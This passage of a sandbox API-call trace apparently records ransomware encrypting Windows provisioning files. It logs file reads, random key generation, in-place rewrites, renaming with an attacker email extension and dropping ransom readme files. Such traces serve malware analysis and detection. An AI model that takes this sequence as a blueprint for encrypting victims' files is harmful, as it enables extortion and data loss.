Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.145] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.145] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c13fb8c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2c13fb8c*=0x481, lpOverlapped=0x0) returned 1 [0085.146] CloseHandle (hObject=0x2f4) returned 1 [0085.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a6c8) returned 1 [0085.146] RtlExitUserThread (Status=0x1) Thread: id = 1258 os_tid = 0x133c [0085.148] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.148] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.148] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c1bf8e4 | out: lpFileSize=0x2c1bf8e4*=1808) returned 1 [0085.148] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x70c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.148] ReadFile (in: hFile=0x2f4, lpBuffer=0x2c1bf8b8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x2c1bf8b8*, lpNumberOfBytesRead=0x2c1bf8b4*=0x4, lpOverlapped=0x0) returned 1 [0085.150] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34924b0 [0085.150] NtQuerySystemTime (in: CurrentTime=0x2c1bf890 | out: CurrentTime=0x2c1bf890*=132121176430391356) returned 0x0 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x6cde37cf [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xd84767 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x1d1b4f08 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x83fa1158 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x8f736d50 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x64bf158e [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x52641ea [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xc1c5d34b [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x2904e183 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x29284a9b [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x19c21ea9 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x5a283de8 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x1488cbc5 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x72caeefe [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xc0a2480c [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xdb9fbb2d [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xd6cdb0a [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xa6227624 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xe6c2a591 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x36fecb73 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x7c7c28bb [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xb85c8b3e [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xd84d64c1 [0085.150] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xe06b5a79 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xa67028aa [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x4fcb8a64 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x6c6ab870 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xf6c24d01 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x75388742 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0x586a90aa [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xfab0caf3 [0085.151] RtlRandom (in: Seed=0x2c1bf89c | out: Seed=0x2c1bf89c) returned 0xc8e65389 [0085.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0085.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd238 [0085.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.162] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.162] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.162] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x710, lpNumberOfBytesRead=0x2c1bf890, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c1bf890*=0x710, lpOverlapped=0x0) returned 1 [0085.163] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1bf858 | out: lpNewFilePointer=0x0) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2c1bf88c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c1bf88c*=0x710, lpOverlapped=0x0) returned 1 [0085.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492578 [0085.163] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c1bf888, lpOverlapped=0x0 | out: lpBuffer=0x3492578*, lpNumberOfBytesWritten=0x2c1bf888*=0x20, lpOverlapped=0x0) returned 1 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492578) returned 1 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.163] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x3492820*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x8, lpOverlapped=0x0) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x2c1bf8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x2c1bf8cc*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x4, lpOverlapped=0x0) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x4, lpOverlapped=0x0) returned 1 [0085.163] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x6c, lpOverlapped=0x0) returned 1 [0085.164] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x20, lpOverlapped=0x0) returned 1 [0085.164] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c1bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c1bf8b4*=0x4, lpOverlapped=0x0) returned 1 [0085.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492500) returned 1 [0085.164] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.164] CloseHandle (hObject=0x2f4) returned 1 [0085.164] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x341da40 [0085.164] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" [0085.164] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.164] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.165] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0085.165] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.165] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.165] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\" [0085.165] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.165] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.165] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.166] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2c1bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2c1bf8b0*=0x481, lpOverlapped=0x0) returned 1 [0085.167] CloseHandle (hObject=0x2f4) returned 1 [0085.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.167] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482bf0) returned 1 [0085.167] RtlExitUserThread (Status=0x1) Thread: id = 1259 os_tid = 0x1340 [0085.170] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.170] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.170] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.171] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c23f9a8 | out: lpFileSize=0x2c23f9a8*=1635) returned 1 [0085.171] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x65f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.171] ReadFile (in: hFile=0x2f4, lpBuffer=0x2c23f97c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x2c23f97c*, lpNumberOfBytesRead=0x2c23f978*=0x4, lpOverlapped=0x0) returned 1 [0085.172] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.173] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492500 [0085.173] NtQuerySystemTime (in: CurrentTime=0x2c23f954 | out: CurrentTime=0x2c23f954*=132121176430706487) returned 0x0 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x811bce35 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xd52e2481 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x1186b7b0 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x1ac0b5dc [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x74a4400d [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x8f5a2e80 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x5bcd1c7a [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x888d2263 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x4eb3419d [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x96b3f9d8 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xd1aecc6c [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xfbb054e2 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x51b3b3ae [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x6b477755 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x9914b683 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x85667f1 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xa02e96f8 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x86735a93 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x2b037a8c [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x3e3cce8c [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xe3f124c3 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xa61b78ad [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xc153a1e3 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xed6629f9 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x4127434b [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x334252c3 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x6c13f848 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xe4c3fb18 [0085.173] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x9172bbf0 [0085.174] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x92d16eb2 [0085.174] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0xed3a3399 [0085.174] RtlRandom (in: Seed=0x2c23f960 | out: Seed=0x2c23f960) returned 0x19f96a4a [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fee0) returned 1 [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd238 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.184] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x663, lpNumberOfBytesRead=0x2c23f954, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c23f954*=0x663, lpOverlapped=0x0) returned 1 [0085.184] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c23f91c | out: lpNewFilePointer=0x0) returned 1 [0085.184] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x663, lpNumberOfBytesWritten=0x2c23f950, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2c23f950*=0x663, lpOverlapped=0x0) returned 1 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.184] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492730*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c23f94c, lpOverlapped=0x0 | out: lpBuffer=0x3492730*, lpNumberOfBytesWritten=0x2c23f94c*=0x20, lpOverlapped=0x0) returned 1 [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd238) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492820*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x3492820*, lpNumberOfBytesWritten=0x2c23f978*=0x8, lpOverlapped=0x0) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x2c23f990*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x2c23f990*, lpNumberOfBytesWritten=0x2c23f978*=0x4, lpOverlapped=0x0) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c23f978*=0x4, lpOverlapped=0x0) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c23f978*=0x6c, lpOverlapped=0x0) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2c23f978*=0x20, lpOverlapped=0x0) returned 1 [0085.185] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c23f978, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c23f978*=0x4, lpOverlapped=0x0) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492578) returned 1 [0085.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.185] CloseHandle (hObject=0x2f4) returned 1 [0085.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x33f9688 [0085.186] wcscpy (in: _Dest=0x33f9688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All 